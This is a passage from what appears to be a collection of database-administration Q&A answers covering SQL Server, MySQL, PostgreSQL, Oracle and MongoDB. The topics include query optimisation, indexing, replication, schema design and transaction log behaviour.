  CAST(LOG(Number) / LOG(10) AS VARBINARY) AS LogOverLog
FROM (
  VALUES (1000)
) AS Tally (Number);

Returns

Number      LogAB                   LogTen                  LogOverLog
----------- ----------------------- ----------------------- ----------------------
1000        0x4007FFFFFFFFFFFF      0x4008000000000000      0x4007FFFFFFFFFFFF

0x4008000000000000 is exactly 3.

0x4007FFFFFFFFFFFF is 2.99999999999999955591079014994.

If you are looking for an  efficient expression maybe a CASE expression with the 10 different cases would actually work out less CPU intensive than calculating logarithms (or possibly you could have nested case expressions to do a trinary search)


How to determine if the SQL Server running is Express version?

You can execute SELECT @@VERSION. Result will describe SQL Server version and edition. Or SELECT SERVERPROPERTY('Edition') will result SQL Server edition.

SQL Server Express Edition supports maximum database size 10GB per database. So you can monitor database size using following query.

SELECT      sys.databases.name,
            CONVERT(VARCHAR,SUM(size)*8/1024)+' MB' AS [Total disk space]
FROM        sys.databases
JOIN        sys.master_files
ON          sys.databases.database_id=sys.master_files.database_id
GROUP BY    sys.databases.name
ORDER BY    (SUM(size)*8/1024) DESC

Thanks!


Get the rank of a row based on a score I am generating from other field values

You want 1, 2, 3, ... tacked onto the output?

SELECT @rank := @rank + 1,
       s.*
    FROM ( SELECT @rank := 0 ) AS init
    JOIN (
        SELECT ... -- your existing SELECT
         ) s;


You have a whole lot of looping going on
Give this a try
The exists will be faster then count
And bring stuff up into the join can help the optimizer

SELECT TOP 400 jobticket.jobnumber, jobticket.typeform, jobticket.filename, jobticket.req_number, jobticket.reqd_del_date, jobticket.point_of_contact, jobticket.status, jobticket.DapsDate, jobticket.elpod
     , job_info.IDOrderMaskedStatus, job_info.job_status, job_info.SalesID, job_info.location, job_info.TOMetadataID
 FROM jobticket WITH (NOLOCK)
 JOIN job_info  WITH (NOLOCK)
       ON job_info.jobnumber = jobticket.jobnumber
      and jobticket.typeform <> 'todpg'
      and (    (job_info.isHidden <> 1 or job_info.isHidden is null)
            and job_info.isInConcurrentRelease is null
          )
      and job_info.deleted <> '1'
      and jobticket.status not in ('New Job', 'PRFYCLSFD')
      and (     jobticket.status != 'Waiting Approval'
            or (jobticket.status  = 'Waiting Approval' and jobticket.DPGType is null)
          )
WHERE jobticket.status    not in ('Complete','Completed')
   or job_info.job_status not in ('Actualized','','Actualized Credit Billed','DWAS Actualized','DWAS Actualized Credit Billed')
   or ( exists ( SELECT job_status AS Expr1
                   FROM tblConsolidatedBilling AS tblConsolidatedBilling_1  WITH (NOLOCK)
                  WHERE job_status not in ('Actualized', 'Actualized Credit', 'Billed')
                    AND master_jobnumber = jobticket.jobnumber )
      )
ORDER BY job_info.expediencyLevel DESC, jobticket.jobnumber DESC


If you took a backup prior to adding objects to it you can just restore the backup. If you do not have a backup to restore from, you could take a backup of one that is empty and use that as your restore point.

Alternatively - you could delete all of the objects that you created within it. Check out some of the answers to this question for ideas around scripting this.

Failing all of the above, you might have to rebuild your system databases.


Formatting query to respond to past column values

and not exists (
  select 1 from yourtable t3
  where t3.id = t1.id
    and t3.create_date < t1.create_date
    and t3.status = '500'
)


TempDB on Solid State Drives on SQL Server Cluster

Previous to SQL 2012, all SQL Server files had to be on a shared cluster resource.  It's not so much an issue of the recognition of a local path, but just that SQL Server won't allow you to use local storage in a clustered installation.  This is problematic for SSDs because it is usually to expensive to attach SSDs as anything other than direct attached storage.  With SQL 2012, you can now place TempDB on local disk.  You can still use SSDs, they just have to be added as a shared cluster resource.

Are you 100% sure that you can't upgrade to SQL 2012?  SQL 2012 will support SQL 2005 compatability level, meaning your code will be executed as if it were SQL 2005 but it will be on the 2012 engine.  There might be some other hurdles, but this should address the application interface.  Caveat of thoroughly testing applies.


Could you not simply run sp_spaceused, or a cut down version as you probably don't need both datasets, on tempdb regularly and log the results?
Obviously this will likely result in an underestimate, because it is unlikely that peak space use will be exactly on one of your samples, so you will need to inflate the maximum figures. Perhaps you could use this method to decide a good starting point for the "shrink and watch if it grows back a bit" experiment that you describe.


QUERY IMPROVEMENT / DATA INTEGRITY
You have what seems to be two conflicting parts of the query
PART 1 : where  status ='INACTIVE'
and
PART 2 : and mobile_num not in(select distinct mobile_num from mobile where status='ACTIVE')
This query would need both WHERE clauses only if there exists both an ACTIVE and INACTIVE row for a given mobile_num. If that is the case, you should create a table with nothing but ACTIVE mobile_num values
CREATE TABLE active_mobile_num
SELECT DISTINCT mobile_num FROM mobile WHERE status = 'ACTIVE';
ALTER TABLE active_mobile_num ADD PRIMARY KEY (mobile_num);

then perform a LEFT JOIN so that mobile_num is NULL on the right side as follows:
select distinct substring(A.mobile_num,3,12)
from mobile A LEFT JOIN active_mobile_num B USING (mobile_num)
where A.status ='INACTIVE'
and A.unsub_date >= (DATE(CURDATE() - INTERVAL 90 DAY) + INTERVAL 0 SECOND)
and B.mobile_num IS NULL
order by A.updtm;

NOTE : I changed
and date(unsub_date) >= DATE(CURDATE() - INTERVAL 90 DAY)

to
and A.unsub_date >= (DATE(CURDATE() - INTERVAL 90 DAY) + INTERVAL 0 SECOND)

because your clause converts the datetime to a date and compares, whereas my proposed clause use the constant value of midnight 90 days ago and compares then as datetimes.
ALTERNATE QUERY SUGGESTION
If you prefer not to form another table so as to have to drop it afterwards, make that other table a subqery and join to it as suggested before:
select distinct substring(A.mobile_num,3,12)
from mobile A LEFT JOIN
(SELECT DISTINCT mobile_num FROM mobile WHERE status = 'ACTIVE') B USING (mobile_num)
where A.status ='INACTIVE'
and A.unsub_date >= (DATE(CURDATE() - INTERVAL 90 DAY) + INTERVAL 0 SECOND)
and B.mobile_num IS NULL
order by A.updtm;

This might be a little slower since you cannot index the subquery like the first query shows
PROPER INDEXING
What may also help both queries go faster is to index status and unsub_date
ALTER TABLE mobile ADD INDEX status_unsub_date_ndx (status,unsub_date);

Give it a Try !!!


How to model a 1..1 Composition Relationship

Personally I would put the TimePoint attributs into the event table. But if you prefer two tables, you should be able to achieve that with foreign keys together with NOT NULL columns.

But that will only work if you have a database that supports deferrable constraints (Oracle and PostgreSQL come to mind), otherwise there is no way of inserting new values (unless you want to have some "dummy" TimePoint row - which is really a hack - I'd definitely prefer a single table solution over a "magic row").

I don't think you need separate columns for the FK columns, as both tables are so tightly coupled.

Something like:

create table event
(
   event_id integer not null primary key,
   ... other columns ...
);

create table timepoint
(
   event_id integer not null primary key,
   ... other columns ...
);

alter table event
    add foreign key (event_id)
    references timepoint (event_id)
    deferrable initially deferred;

alter table timepoint
    add foreign key (event_id)
    references event (event_id)
    on delete cascade
    deferrable initially deferred;

insert into event (event_id) values (1);
insert into timepoint (event_id)  values (1);
commit;

insert into event (event_id) values (2);
insert into timepoint (event_id)  values (2);
commit;

-- This will delete the timepoint as well!
delete from event
where event_id = 1;

The inserts work because the FK constraints are deferred. The ON DELETE cascade for the FK between timepoint and event ensures that the timepoint is deleted when the event is deleted. Deleting a timepoint is not possible because that constraint is not defined as cascading. If you want to delete the associated event when the timepoint is deleted, define that constraint as cascading as well.

(The above example works in PostgreSQL and should work in Oracle too)

But again: I'd put everything into the event table.


one of the databases, I got "Failed to flush the commit table to disk in (dbid) due to error 2601." and the error log showed "error 3041 severity 16 state 1".

The above error occurs when you have CHANGE TRACKING enabled on the database. To find what databases have Change tracking enabled, run below tsql:

SELECT d.name AS 'Database Name', ctd.*
FROM sys.change_tracking_databases ctd
INNER JOIN sys.databases d ON d.database_id = ctd.database_id

This error was fixed in SQL Server 2008R2 SP1 +CU1.  Even with SP1+CU1, you are running an unsupported patch of SQL Server. I would suggest you to apply SQL Server 2008R2 SP3 then Security Update - KB3045316.

  A security issue has been identified in the SQL Server 2008 R2 SP3 that could allow an attacker to compromise your system and gain control over it.

Recommendations :

Take full backup of current databases with CHECKSUM.
Apply latest SP3 + Security Update (as mentioned above)
Stop using maintenance plans and use a more reliable backup solution (hint: Ola Hallengren's backup solution).


Trying to use SSRS rsconfig.exe in silent mode to create the ReportServer and ReportServerTemp databases on a local instance

Rather than using the rsconfigtool.exe Gui application you can use rsconfig.exe from the command line. It is located in the same Shared Tools directory. rsconfig.exe /? allows you to see the available command line arguments.


Design star schema for many-many relationship

Many-to-many tables are typically handled with a "bridge table."  This is really just another name for a many-to-many table like you'd use in a transactional database: one column for an FK to the first table, one column for an FK to the second table, and probably a column or two for housekeeping fields.

You may also want a Weight field in the bridge table, with a value equal to one divided by the number of entries for each sale.  This lets calculate SUM(Weight) instead of COUNT(*), when you want to avoid double-counting orders which had multiple promotions.

Your proposed schema is good, as is, but I think it could be improved slightly; two things come to mind.  One is that I would generally collapse SalesTransactions and SalesTransactionDetails into a single table.  This introduces redundancy for things like customer IDs, which ought to make your OLTP instincts flinch (transitioning from normalized databases to data warehousing is a paradigm shift!), but in this case it's worth it.  By putting all of your sales into a single table, you simplify joins and, in many databases, signal that you want to use bitmap indices.  In a warehouse, you often end up having to do table scans, but that's OK because your fact tables are very narrow, and fit in memory.

So we have three tables Sales, Promotions, and SalesPromotions.  You might consider "order" rather than "sale," because the latter implies a finality which may not apply.  If your system includes orders which have been placed but not shipped or not closed, the more general term makes sense.  That's quibbling, but it never hurts to think carefully about what you name things.

CREATE TABLE Orders
    -- IDs/dimensions:
    OrderID
    EmployeeID
    ProductID
    -- Date dimensions: date placed, date contract signed, date shipped, etc.
    -- Metrics: quantity, gross price, net price, extended price
    -- Attributes: is taxable, currency code, business key

CREATE TABLE Promotions
    PromotionID
    -- Date dimensions: date effective, date expires
    -- Metrics: fixed amount, percentage amount
    -- Attributes: name, type

CREATE TABLE OrderPromotions
    OrderID
    PromotionID
    Weight

ExtendedPrice can be a computed column rather than storing a value.  If attributes start to bloat your Orders table, consider a "junk dimension."

You could include ProductID in Promotions, but only if promotions will only ever apply to a single product.  For example, do you have some promotions which are applied to a whole order rather than specific line items?  Might a promotion apply to product code ABC1 today, but ABC2 tomorrow, after a price change?

The second caveat I had in mind is IDs.  I strongly recommend that you use synthetic keys (SKs) in a data warehouse, rather than relying on IDs from the source system.  There are a number of reasons, and this is discussed elsewhere on DBA.StackExchange, but offhand:

A 32- or 64-bit integer for an SK will often be narrower than source system order IDs or customer IDs (e.g., a 144-bit Salesforce ID or other long alphanumeric IDs).  This keeps your tables narrow, your secondary indices narrow, and your scans fast.
You can avoid collisions in the source system.  If Marketing some day decides to use product key ABC123 for something unrelated to what it was last year, you can give them two different synthetic keys.
In particular, if your company acquires another business, you may find that their IDs don't match the data types you've been using.  You'll need to map them to a common set, and handle collisions.  Best to have the infrastructure for that from day one.
You can use magic values for specific meanings which are relevant for reporting, but which aren't handled in the transactional system.  For example, I always use SKs -1 for "N/A" and 0 for "Unknown".  E.g., the Customers.FirstOrderSK field will be populated with -1 for customers who've had no orders, and 0 for customers who've had an order but for which no more specific info is available yet.  Your reports can reflect this without having to put in special logic to handle NULL values.

You can take advantage of synthetic keys in your bridge table by including a "dummy record" for orders without promotions.  Populate it with a PromotionID of -1, to indicate that no promotion applied; now consumers of your data can filter for orders sold at full price.


Database mirroring with fixed set of tables without sql server replication

IMHO, Replication is your best choice.

Alternatively, you can look into SSIS and do an incremental load to your remote database for the tables you need. If they have foreign key dependencies then make sure to load them in order.

Also, you can look into logshipping (this is entire database) and delay the restore of transaction logs, so that you can use secondary as stand by for running reports as well.


How to check Oracle database connection encryption type

Don't confuse Oracle Advanced Security with encrypted SSL client connections to the database.  The Advanced Security option is comprised of two main features, Data Radaction and Transparent Data Encryption.  TDE is the encryption of data within tables, so that if someone captures the datafiles they won't be able to read table data in the clear inside the file.

An encrypted SSL connection between a client and the database is just part of the Oracle Net Services and is included with every version.  The Oracle documentation explains how to set that up.

To answer your question, run this query:

SELECT sys_context('USERENV', 'NETWORK_PROTOCOL') as network_protocol FROM dual;

If you are connected via SSL you will get the response

NETWORK_PROTOCOL
----------------
tcps

If you get "tcp," then you are on a non-SSL connection.


You are fundamentally asking it to do a lot of work, there is no way around that.  You can perhaps shave some time off of this, but you won't get orders of magnitude improvement.  If you explain some of the motivation behind this, perhaps there is a way to materialize the view in a different way which will lead to large improvements.

For just optimizing the query as given:

You could create an index on all four columns, leading with "id_g_type", so that the index scan can be turned into an index-only scan.  You probably need to manually vacuum the materialized view to make this effective.

The reason it is doing a seq scan on "mc", rather than using the index on "id_person", is that the seq scan can make use of parallelism while the index scan can not.  You can play around with "max_parallel_workers_per_gather" (or with alter table significant_mg set (parallel_workers = ...); to see how much you actually benefit from parallelism.

There is no point in including mp.id_g_type = mc.id_g_type in the WHENs, because the join condition will ensure all rows pass that criterion.


MySQL, can't find MYD files on OS X, MAMP

MyISAM still uses .MYD and .MYI.
The only way you can see .frm  files only and no other table file would be this:

All tables are using InnoDB
innodb_file_per_table disabled (all table data would be inside ibdata1)

If you can log into MySQL, run this
SELECT IFNULL(engine,'total') engine,(data_length+index_length) tblsize
FROM information_schema.tables WHERE table_schema NOT IN
('mysql','information_schema','performance_schema')
GROUP BY engine WITH ROLLUP;
SELECT @@global.innodb_file_per_table;
SELECT @@global.datadir;
SELECT table_schema,table_name,engine,(data_length+index_length) tblsize
FROM information_schema.tables WHERE table_schema NOT IN
('mysql','information_schema','performance_schema')
ORDER BY engine,table_schema,table_name;

These will fully reveal your data and storage engine situation.
UPDATE 2015-05-01 19:48 EST
Based on the output of the queries I gave you

4KB worth of MyISAM
16KB worth of InnoDB
@@global.innodb_file_per_table = 0 means all the table and index space for your InnoDB tables are inside /Applications/MAMP/db/mysql/ibdata1

To see your MyISAM tables, run this:
SELECT table_schema,table_name
FROM information_schema.tables WHERE table_schema NOT IN
('mysql','information_schema','performance_schema')
AND engine='MyISAM';

To see your MEMORY tables, run this:
SELECT table_schema,table_name
FROM information_schema.tables WHERE table_schema NOT IN
('mysql','information_schema','performance_schema')
AND engine='MEMORY';

To see your InnoDB tables, run this:
SELECT table_schema,table_name
FROM information_schema.tables WHERE table_schema NOT IN
('mysql','information_schema','performance_schema')
AND engine='InnoDB';

To get the count of the tables by engine:
SELECT table_schema,COUNT(1) table_count
FROM information_schema.tables WHERE table_schema NOT IN
('mysql','information_schema','performance_schema')
GROUP BY engine;

To get the count of the tables by engine in each database:
SELECT table_schema,engine,COUNT(1) table_count
FROM information_schema.tables WHERE table_schema NOT IN
('mysql','information_schema','performance_schema')
GROUP BY table_schema,engine;


Order of returned rows with IN statement

WITH ORDINALITY in Postgres 9.4+
Introduced with Postgres 9.4. The manual:

When a function in the FROM clause is suffixed by WITH ORDINALITY, a
bigint column is appended to the output which starts from 1 and
increments by 1 for each row of the function's output. This is most
useful in the case of set returning functions such as unnest().

SELECT u.*
FROM   unnest('{13589, 16674, 13588}'::int[]) WITH ORDINALITY AS x(id, order_nr)
JOIN   users u USING (id)
ORDER  BY x.order_nr;

array or set?
x IN (set) statements are rewritten internally in Postgres to x = ANY (array), which is equivalent:
SELECT users.id FROM users WHERE users.id = ANY ('{13589, 16674, 13588}')

You can see for yourself with EXPLAIN.
Postgres 9.3 or earlier
For now, to preserve the order of elements, you could:
SELECT u.*
FROM  (
   SELECT arr, generate_subscripts(arr, 1) AS order_nr
   FROM  (SELECT '{13589, 16674, 13588}'::int[]) t(arr)
   ) x
JOIN   users u ON u.id = x.arr[x.order_nr]
ORDER  BY x.order_nr;

db<>fiddle here
Further reading:

How to preserve the original order of elements in an unnested array?


Why doesn’t a MySQL fulltext search “IN BOOLEAN MODE” fail when referencing a missing column?

This is documented behaviour:

InnoDB tables require a FULLTEXT index on all columns of the MATCH() expression to perform boolean queries. Boolean queries against a MyISAM search index can work even without a FULLTEXT index, although a search executed in this fashion would be quite slow.

Why this exception exists (which is what you are asking in a comment) is speculation and something to be answered by the original developers, but there is something that you cannot do without this exception:
a boolean search that spans multiple tables.
For a natural search, you could compensate with or over separate matches (one for each table), for a boolean search, it would fall into the range of "much harder" to "impossible", which could explain the asymmetry.
If that was added as a nice feature to the (MyISAM) boolean search, and at least one user relied on it, you can make an argument for not removing it, as the only disadvantage of not forcing an index is that it could be slow if you make the mistake of forgetting the index (which can and will happen with normal indexes too, see 90% of SQL performance questions on Stack Overflow).
MySQL is really not in the business of protecting users from themselves, see e.g. only_full_group_by=0 (that can give you unintended results if you are not careful) or grant (that, before MySQL 8.0, could create a new user without a password if you are not careful).


Cannot connect PHP to SQL Server in no way

This is NOT 18456 (login failed). The error says

  Server is not found or not accessible

And it means that you should control that:

SQL Server is started and running
you use the correct instance name (so show us your connection
string), and if the instance is named, SQL Server Browser also should
be running
TCP\IP is enabled

You cannot find anything in error log because the server was not reached at all.


Setting in the command line are not persisted anywhere. Therefore after a restart it resets to default or picks up the value from the config file.

Put the following line into your my.cnf file under the [mysqld] section:

max_allowed_packet = 16777216

About how to find what file is used you can find some resources here on stack exchange as well:

https://stackoverflow.com/questions/2482234/how-to-know-mysql-my-cnf-location


MongoDB Using String-Type Shard Key for Zone Ranges

As per MongoDB documentation here In sharded clusters, you can create  zones of sharded data based on the shard key. You can associate each zone with one or more shards in the cluster. A shard can associate with any number of zones. In a balanced cluster, MongoDB migrates chunks covered by a zone only to those shards associated with the zone.

Some common deployment patterns where zones can be applied are as follows:

Isolate a specific subset of data on a specific set of shards.
Ensure that the most relevant data reside on shards that are geographically closest to the application servers.
Route data to shards based on the hardware / performance of the shard hardware.

For example

In the above mention figure a sharded cluster with three shards and two zones. The A zone represents a range with a lower boundary of 1 and an upper bound of 10. The B zone represents a range with a lower boundary of 10 and an upper boundary of 20. Shards Alpha and Beta have the A zone. Shard Beta also has the B zone. Shard Charlie has no zones associated with it. The cluster is in a steady state and no chunks violate any of the zones.

After configuring a zone with a shard key range and associating it with a shard or shards, the cluster may take some time to migrate the affected data. This depends on the division of chunks and the current distribution of data in the cluster. When balancing is complete, reads and writes for documents in a given zone are routed only to the shard or shards inside that zone.

Shard Key

You must use fields contained in the shard key when defining a new range for a zone to cover. If using a compound shard key, the range must include the prefix of the shard key.

For example, given a shard key { a : 1, b : 2, c : 3 }, creating or updating a zone to cover values of b requires including a as the prefix. Creating or updating a zone to covers values of c requires including a and b as the prefix.

You cannot create zones using fields not included in the shard key. For example, if you wanted to use zones to partition data based on geographic location, the shard key would need at least one field that contained geographic data.

When choosing a shard key for a collection, consider what fields you might want to use for configuring zones. After sharding, you cannot change the shard key. See  Choosing a Shard Key for considerations in choosing a shard key.

Hashed Shard Keys and Zones

When using zones on a hashed shard key, each zone covers the hashed shard key values. Given a shard key { a : 1 } and a zone alpha with a lower bound of 1 and an upper bound of 5, the bounds represent the hashed value of a, and not the actual value. Therefore, there is no guarantee that MongoDB routes documents where a has a value of 1 to 5 to zone alpha. MongoDB routes any document where the hashed shard key value falls within the range of 1 or 5 to a shard inside zone alpha.

In general, a zone covering a sequential range of hashed shard key values may exhibit unexpected behavior.

It is possible create a zone which covers the entire range of shard key values using minkey and maxkey to guarantee that MongoDB restricts all the data for a specific collection to the shard or shards in that zone.

For your further ref here, here, here and here


Rolling your own referential integrity checks has the following disadvantages:

Speed - Your own checks will never be as fast as database internal checks.
Completeness- There is always the possibility when you roll your own that you will miss something.

The speed issue is acceptable if the high performance of the database engine can make up for the loss, but the potential for a loss of data integrity using your own checks would still be a concern.


Why columns in views are always nullable?

It sounds like this is just the way it is in PostgreSQL (which I understand is a sucky answer). It seems like under certain conditions for certain versions of PostgreSQL, a view's column may be attributed as non-nullable. This StackOverflow answer gives the example where if the field is a primary key of the base table, in a vanilla view, it is showing as non-nullable in the view's schema.
I suppose PostgreSQL has some strict requirements on what it assumes can truly be non-nullable in a view definition.


How can coupled databases be kept in sync with selective uni-directional syncing and with connections that can be off for days?

The requirement that the setup has to cope with several days of broken network connections effectively rules out "virtually" synchronous multi-master solutions like Galera and MySQL group replication. And you can also forget about MySQL NDB Cluster.

However, I think an asynchronous MariaDB or MySQL solution could do what you need, assuming the binlogs are large enough to hold the data accumulated while the network connections are down.

It seems like asynchronous MariaDB / MySQL master-master replication might be able to do what you need. Master-master replication is basically two instances of master-slave replication, where each server is master in one of the replication connections, and slave in the other. In addition it's common to have auto_increment_increment = 2 on both servers, auto_increment_offset = 1 on the first server and auto_increment_offset = 2 on the other. This way, neither database server causes collisions when using the auto_increment feature of the primary keys in INSERT statements. This will also eliminate any need for sharding in your use case.

So you will need to setup master-master replication between your Central DB and Remote DB1, and separate master-master replication between your Central DB and Remote DB2.

You will further need to set replicate-do-table=foo so that only that table is replicated to Remote DB1 and Remote DB2 from Central DB. And similarly, replicate-do-table=bar so that only that table is replicated from Remote DB1 to Central DB, and from Remote DB2 to Central DB.

There are many more details, such as GTID (which is a feature which was not available initially, but is a good idea now), but here I suggest you look at the available documentation elsewhere, e.g.:

Simple Master-Master replication on MariaDB (tunnelix.com)

How to Setup MySQL Master-Master Replication (howtoforge.com)


Optimization of variables in my.cnf (mysql) for Drupal

Your config looks pretty good. If you have 16 GB of ram and it is a dedicated server for Mysql, then I would bump innodb to 8GB.
Mysql will also need to "warm up" which is the time is takes to start caching the most frequently used tables. Depending on your application, query cache might not be useful. (I would turn if off). Make sure to turn on Slow Query log, set long query to 5 sec. If nothing shows up after a day or two, set long query to 3 sec.
with a 8GB innodb_buffer, you should be able to handle a database size > 20GB.
You can always increase the innodb buffer pool but it will require a restart.

slow-query-log          = 1
slow-query-log_file     = /mysqldb/logs/.hostname..-slow-query.log
long_query_time         = 5
log_slow_verbosity      = full


Storing metadata of various data types in a MySQL database

What I have done in the past is to use something like this:

1)  Each document has a logical type associated with it.

2)  Set up tables for metadata for each logical type.  Each row can store all metadata associated with the document.

The other approach is that of key-value-modelling which can actually be ok or not depending on what you are doing with it.  In this case you have a metadata table which stores all metadata, one value per record, for all documents.  This works best if you find a reasonable way to aggregate the data in result sets, and if you aren't doing complex searches across multiple metadata fields.


The function based index you have created uses same functions but in reverse order than your query, this prevent oracle from using this index.

Since WHERE clause of your query contains:

   AND TRIM(UPPER(column4)) = TRIM(UPPER('y'))
   AND TRIM(UPPER(column5)) = TRIM(UPPER('z')

you must create the index in this way:

CREATE INDEX "NAME"."tbl_name_IDX" ON "NAME"."tbl_name"
  (
    column3,
    TRIM(UPPER(column4)),
    TRIM(UPPER(column5))
  )

This still doesn't guarantee that your query will use that index,
that depends also on selectivity of the query, if the query is highly selective (returns only a few rows), then oracle will probably use the index, but when the query is not selective (returns thousands of rows), than the optimiser will probably prefer full table scan over using the index.


In SSMS, is "Navigate to" (Ctrl+,) of any use?

In SSMS 2016, Navigate To... is gone.

So the answer is that temporary presence of non-functioning Navigate To... feature in SSMS 2014 looks like forgotten artifact of adopting SSMS to Visual Studio platform. Perhaps we should seek nothing more serious behind it.

Comment: SSMS 2016 seems to be much more polished, it fixes many weird technical and design errors seen in SSMS 2014, including non-standard keyboard shortcuts. After leaving good SSMS 2008 and 3-of-5-stars experience with SSMS 2014 I recommend installing standalone SSMS 2016, which can get 4.5. They even can be installed and used side-by-side, if someone is hesitant to uninstall that 2014 thing on the first day. So far, I found only one issue with SSMS 2016.


My SQL 5.6.4 DATETIME column milliseconds is not getting stored

Similar issue (both Hibernate and MyBatis don't store milliseconds) was solved by upgrading the MySQL driver from mysql-connector-java-5.1.17.jar to mysql-connector-java-5.1.26.jar.


In MySQL, a user contains 2 mandatory parts:

user name - like root, or sam
host allowed for this user to login, like - localhost, 10.30.10%, 10.% etc.

all these users are different and could have different credentials:

root@localhost
root@10.%
root@10.30.10.%

each from example list - separate user and have unique access list

So you have a choice:

simple - change wildcard for root, I would not recommend it
create another user with remote access:

like:

CREATE USER 'other_root'@'%' IDENTIFIED BY 'other_root_password';

GRANT ALL ON *.* TO 'other_root'@'%' WITH GRANT OPTION;

FLUSH PRIVILEGES;


Why is count(*) slow, when explain knows the answer?

Explain is using previously gathered statistics (used by the query optimizer). Doing a select count(*) reads EVERY data block.
Here's a cheap way to get an estimated row count:
SELECT table_rows
FROM information_schema.tables
WHERE table_name='planner_event';

Even if you did select count(id), it might still take a very long time, unless you have a secondary index on id (also assuming id is a PRIMARY KEY). Because all data (including Row Data) is stored in B-Tree indexes, performing a select count(PK_COLUMN) is still a considerable amount of IO (needs to reads all data pages).  If you have a secondary index on the PK field, it will be able to perform less IO to perform a count.


How to write a shell script to check the mysql database backup status.

This would indeed be nice to be able to do it in an automatic way. Unfortunately, to be 100% sure your backups are fine, you need human intervention. After taking the backup, you must be able to check if you can import it safely. Of course, you can not always do it. You can check your backups for example every 2-4 days.

On the other hand, you can always check if the size of the new backup is significantly smaller than the previous one (considering that the database always increases in size). This could be an indication that your backup might not have been taken correctly or is corrupted.


WAL file naming is really an implementation detail. See the source code - starting with the implementation of pg_xlogfile_name in src/backend/access/transam/xlogfuncs.c, which uses XLogFileName in src/include/access/xlog_internal.h:

#define XLogFileName(fname, tli, logSegNo)  \
    snprintf(fname, MAXFNAMELEN, "%08X%08X%08X", tli,       \
             (uint32) ((logSegNo) / XLogSegmentsPerXLogId), \
             (uint32) ((logSegNo) % XLogSegmentsPerXLogId))

From there you can see that in current PostgreSQL versions the archive name is eight zero-padded hex digits of timeline ID, then a somewhat oddly formatted value for the segment that works out to the high 32 bits of a 64-bit segment number zero-padded out to 8 hex digits, then the low 32 bits zero padded out to 8 hex digits. That format is really a historical quirk.

You can work that out because of the definition of XLogSegmentsPerXLogId:

#define XLogSegmentsPerXLogId   (UINT64CONST(0x100000000) / XLOG_SEG_SIZE)

which is 1 << 32 i.e. 2^32, so really the XLogFileName is just taking the high and low 32 bits.

That said, you shouldn't need to do anything with WAL based on the file names, except use them to uniquely identify a WAL file, so I'm wondering why you're asking this. What're you trying to achieve?


How does direct path load work when dataguard is enabled?

If the database is setup correct: no direct path load. If a standby database is depending on the changes captured on the primary database, the primary database should be setup with force logging.

If for some reason the force logging setting is not in place, after such an operation the affected datafiles should be transferred to the standby site[s]. Failing to do so will make queries on the loaded parts of the table[s] in the standby database to fail.


Why does this seek on BIGINT col have extra constant scan, compute scalar, and nested loops operators?

SELECT thing,
       sql_variant_property(thing,'basetype') AS basetype,
       sql_variant_property(thing,'precision') AS precision,
       sql_variant_property(thing,'scale') AS scale
FROM (VALUES (2147483648)) V(thing)

Shows you that the literal 2147483648 is interpreted as numeric(10,0). This behaviour pre-dates the introduction of the bigint in SQL Server (2000).

There is no syntax to indicate that a literal should be treated as bigint - adding an explicit CAST is the best solution. The article Dynamic Seeks and Hidden Implicit Conversions discusses the rest of the apparatus in the plan.

The plan itself shows that the nested loops has a seek predicate on

Seek Keys[1]: Start: [tempdb].[dbo].[Table1].col1 > Scalar Operator([Expr1005]),
                End: [tempdb].[dbo].[Table1].col1 < Scalar Operator([Expr1006])

You can use an extended events  session on query_trace_column_values to see that these are as follows.

The XML in the plan also shows this

  <DefinedValue>
    <ValueVector>
      <ColumnReference Column="Expr1005" />
      <ColumnReference Column="Expr1006" />
      <ColumnReference Column="Expr1004" />
    </ValueVector>
    <ScalarOperator ScalarString="GetRangeWithMismatchedTypes((2147483648.),NULL,(6))">
      <Intrinsic FunctionName="GetRangeWithMismatchedTypes">
        <ScalarOperator>
          <Const ConstValue="(2147483648.)" />
        </ScalarOperator>
        <ScalarOperator>
          <Const ConstValue="NULL" />
        </ScalarOperator>
        <ScalarOperator>
          <Const ConstValue="(6)" />
        </ScalarOperator>
      </Intrinsic>
    </ScalarOperator>
  </DefinedValue>

This does not mean that it is literally doing a comparison < null rather

  The range boundary expressions use NULL to represent 'unbounded' at either end. (Source)

So the net effect is that your query predicate of b.col1 > CAST(2147483648 AS NUMERIC(10, 0)) still ends up with a seek against b.col1 > CAST(2147483648 AS BIGINT)

  Does it affect bound parameters to prepared statements (from jtds JDBC) as well?

I haven't used jtds JDBC but I presume it allows you to define parameter datatypes? If so just make sure the parameters are the correct datatype that match the column (bigint) so there's no need for SQL Server to deal with mismatched datatypes.


Query strategies using SQL Server 2016 system-versioned temporal tables for Slowly-Changing Dimensions

I think, in your case a derived table is necessary to isolate querying number of mutations of postcodes  per customer:

SELECT c.postalcode
, sum(s.SaleAmount) SaleAmount
, count(postcode_mutations.customerid) as CntCustomerChangedPostCode
FROM dbo.Sale s
JOIN dbo.Customer c on s.customerid = c.customerid

LEFT JOIN (
SELECT
    CustomerID
FROM [dbo].[Customer]
FOR SYSTEM_TIME FROM '20140101' TO '20150101'
GROUP BY CustomerID
HAVING COUNT(DISTINCT PostalCode) > 1
) postcode_mutations on s.customerid = postcode_mutations.customerid

WHERE s.SaleDateTime >= '2014-1-1' AND s.SaleDateTime < '2015-1-1'
GROUP BY c.PostalCode

upd: Since the query is supposed to serve DWH/Analytics scenarios, the columnstore indexing is an option to check. I also made some benchmarks previously for a 10 million rows table.


Updating an existing SQL Database with thousands of records

Plan on doing one UPDATE per change needed.  It might look like
UPDATE t SET president = 'Biden' WHERE president = 'Trump';

If someone has left the company but has not yet been replaced, that gets tricky.
Walking down the hierarchy also gets tricky.  You seem to have a lot of redundant info.  It might be better to have rows that have only
id, manager_id, employee_id, title

However, then you must walk through the "tree" of rows to get to the various levels of management.
However, however, this would let you have a different depth for different departments.  (Currently you have a very rigid number of columns.)
"Thousands of records" is not a big deal.  "Millions" begins to get interesting.  "Billions" would be challenging.  (But what company has a billion employees?)


Does taking transaction log backups every 15 minutes consume more disk space than log backups every 6 hours?

No, but it may make your transaction log smaller - so your SQL Server will use less space.

To keep things simple, say you generate 1MB of transaction log activity every minute. After 15 minutes, you've generated 15MB of log activity - but that also means that your transaction log will need to be at least 15MB large (assuming that you're in full recovery model.)

If you back up that log file right away, and you don't have open transactions (or any of a host of other things that will cause SQL Server to keep the log file in use), you'll be able to clear out portions of it, keeping your log file small.

However, if you wait 6 hours, that's 360MB of logged activity - your transaction log file (LDF) would be larger.

I'm using small, easy numbers here - you'd want to change them for your own environment to see the impact on your own transaction log space.


When the service broker pulls messages from the queue using an activation stored procedure (or in any method) all the normal locking rules apply to the queue and the objects which are referenced in the code after the receiving of messages from the service broker queue.

